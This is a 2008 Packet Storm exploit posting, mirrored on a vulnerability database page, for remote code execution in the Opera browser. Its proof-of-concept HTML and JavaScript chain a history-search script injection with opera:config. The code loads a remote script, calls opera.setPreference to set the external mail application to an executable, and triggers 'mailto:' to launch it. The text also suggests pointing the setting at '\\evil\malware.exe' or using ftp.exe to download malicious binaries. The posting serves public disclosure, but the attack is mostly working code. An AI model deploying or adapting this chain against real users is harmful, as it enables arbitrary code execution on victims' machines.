Lucene search
K

opera-xssexecpoc.txt

🗓️ 23 Oct 2008 00:00:00Reported by Aviv RaffType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Just found a way to execute remote code through Stefano’s opera:config idea to change the default external mail application and mail handler settings, allowing execution via "mailto:" location. Proof of concept: http://raffon.net/research/opera/history/op.htm

Code
`<!--  
Just found a way to use Stefano’s opera:config idea to execute code from remote.  
  
Instead of changing the HTTP Proxy, an attacker can change the default external   
mail application to “\\evil\malware.exe ”, or to local commands (e.g. ftp.exe   
which can be used to download malicious binaries from remote). Also, there is a   
need to change the “Mail Handler” settings to “2”, so opera will execute the   
external mail application, instead of the default opera mail application.  
  
After changing the settings, the attacker can simply set the location to “mailto:” to execute the code.  
  
  
A proof-of-concept which executes the Windows Calculator can be found here: http://raffon.net/research/opera/history/op.html  
  
  
Cheers,  
  
--Aviv.  
  
http://aviv.raffon.net  
-->  
  
<html>  
<title>bb</title>  
<script>  
var z=null;  
function x() {  
window.setTimeout("z=window.open('opera:historysearch?q=%2A');window.focus();",1500);  
window.setTimeout("z.close();",3000);  
window.setTimeout("location.href='mailto:'",3000);  
}  
</script>   
<body>  
<a href="#<script src='http://www.raffon.net/research/opera/history/o.js'></script>" onclick="x()">Click me...</a>  
</body>  
</html>  
  
<o.js>  
s=document.createElement("IFRAME");  
s.src="opera:config";  
document.body.appendChild(s);  
s.src="javascript:opera.setPreference('Mail','External Application','c:\\\\windows\\\\system32\\\\calc.exe');opera.setPreference('Mail','Handler','2');parent.window.close()";  
</o.js>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation